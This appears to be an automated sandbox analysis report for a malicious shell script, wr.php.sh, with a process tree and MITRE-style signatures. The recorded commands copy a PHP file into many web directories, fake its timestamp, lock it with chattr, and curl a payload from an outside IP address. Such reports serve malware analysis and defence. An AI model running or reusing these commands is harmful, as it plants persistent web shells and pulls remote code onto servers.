Overview

overview

7

Static

static

1

wr.php.sh

ubuntu-18.04-amd64

7

wr.php.sh

debian-9-armhf

7

wr.php.sh

debian-9-mips

7

wr.php.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    122s
  • max time network
    99s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20260513-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    20/08/2026, 15:30

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General

  • Target
    wr.php.sh
  • Size 26KB
  • Sample260820-sxpmlazeqf
  • SHA256 7daaf26859b9d1c9b42daa6c02e486b0c6a8812d020775746f7f134f8df69ff0
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
defense_evasiondiscovery

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

    Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

    defense_evasion
  • Reads runtime system information 25 IoCs

    Reads data from /proc virtual filesystem.

    discovery

Processes

  • /tmp/wr.php.sh
    /tmp/wr.php.sh
    1⤵
      PID:723
      • /usr/bin/base64
        base64 -d
        2⤵
        • Deobfuscate/Decode Files or Information
        PID:727
      • /bin/cp
        cp /var/www/html/admin/views/ajax.php /var/www/html/some.php
        2⤵
        • Reads runtime system information
        PID:730
      • /bin/mkdir
        mkdir -p /var/www/html/rest_phones/
        2⤵
        • Reads runtime system information
        PID:736
      • /bin/mkdir
        mkdir -p /var/www/html/restiapps/
        2⤵
        • Reads runtime system information
        PID:738
      • /bin/mkdir
        mkdir -p /var/www/html/restiapp/
        2⤵
        • Reads runtime system information
        PID:740
      • /bin/mkdir
        mkdir -p /var/www/html/phones/
        2⤵
        • Reads runtime system information
        PID:742
      • /bin/mkdir
        mkdir -p /var/www/html/digiums/
        2⤵
        • Reads runtime system information
        PID:744
      • /bin/mkdir
        mkdir -p /var/www/html/admin/modules/h/
        2⤵
        • Reads runtime system information
        PID:747
      • /bin/mkdir
        mkdir -p /var/www/html/admin/modules/fpbxphones/
        2⤵
        • Reads runtime system information
        PID:749
      • /bin/mkdir
        mkdir -p /var/www/html/admin/modules/phones/
        2⤵
        • Reads runtime system information
        PID:751
      • /bin/mkdir
        mkdir -p /var/www/html/digium_phones/
        2⤵
        • Reads runtime system information
        PID:753
      • /bin/cp
        cp /var/www/html/admin/views/ajax.php /var/www/html/some.php
        2⤵
        • Reads runtime system information
        PID:755
      • /bin/cp
        cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/some.php
        2⤵
        • Reads runtime system information
        PID:756
      • /bin/cp
        cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/some.php
        2⤵
        • Reads runtime system information
        PID:757
      • /bin/cp
        cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/some.php
        2⤵
        • Reads runtime system information
        PID:759
      • /bin/cp
        cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/core/some.php
        2⤵
        • Reads runtime system information
        PID:761
      • /bin/cp
        cp /var/www/html/admin/views/ajax.php /var/www/html/rest_phones/some.php
        2⤵
        • Reads runtime system information
        PID:762
      • /bin/cp
        cp /var/www/html/admin/views/ajax.php /var/www/html/digiums/some.php
        2⤵
        • Reads runtime system information
        PID:764
      • /bin/cp
        cp /var/www/html/admin/views/ajax.php /var/www/html/phones/some.php
        2⤵
        • Reads runtime system information
        PID:766
      • /bin/cp
        cp /var/www/html/admin/views/ajax.php /var/www/html/restiapp/some.php
        2⤵
        • Reads runtime system information
        PID:768
      • /bin/cp
        cp /var/www/html/admin/views/ajax.php /var/www/html/admin/assets/js/some.php
        2⤵
        • Reads runtime system information
        PID:769
      • /bin/cp
        cp /var/www/html/admin/views/ajax.php /var/www/html/admin/assets/some.php
        2⤵
        • Reads runtime system information
        PID:771
      • /bin/cp
        cp /var/www/html/admin/views/ajax.php /var/www/html/admin/assets/js/views/some.php
        2⤵
        • Reads runtime system information
        PID:772
      • /bin/cp
        cp /var/www/html/admin/views/ajax.php /var/www/html/restiapps/some.php
        2⤵
        • Reads runtime system information
        PID:773
      • /bin/cp
        cp /var/www/html/admin/views/ajax.php /var/www/html/digium_phones/some.php
        2⤵
        • Reads runtime system information
        PID:774
      • /usr/bin/touch
        touch /var/www/html/admin/views/ajax.php -r /var/www/html/admin/views/footer.php
        2⤵
          PID:776
        • /bin/chmod
          chmod +x /var/www/html/admin/views/ajax.php
          2⤵
          • File and Directory Permissions Modification
          PID:777
        • /bin/chmod
          chmod +x /var/www/html/admin/views/some.php
          2⤵
          • File and Directory Permissions Modification
          PID:778
        • /usr/bin/chattr
          chattr +i /var/www/html/admin/views/ajax.php
          2⤵
            PID:779
          • /usr/bin/chattr
            chattr +a /var/www/html/admin/views/ajax.php
            2⤵
              PID:780
            • /usr/bin/chattr
              chattr +i /var/www/html/admin/views/some.php
              2⤵
                PID:781
              • /usr/bin/chattr
                chattr +a /var/www/html/admin/views/some.php
                2⤵
                  PID:782
                • /usr/bin/chattr
                  chattr +i /var/www/html/some.php
                  2⤵
                    PID:783
                  • /usr/bin/chattr
                    chattr +a /var/www/html/some.php
                    2⤵
                      PID:784
                    • /usr/bin/chattr
                      chattr +i /var/www/html/h.php
                      2⤵
                        PID:785
                      • /usr/bin/chattr
                        chattr +a /var/www/html/h.php
                        2⤵
                          PID:786
                        • /bin/sh
                          sh
                          2⤵
                            PID:790
                          • /usr/bin/curl
                            curl http://160.119.69.4/z/post/noroot.php
                            2⤵
                            • Reads runtime system information
                            PID:789

                        Network

                              MITRE ATT&CK Enterprise v16

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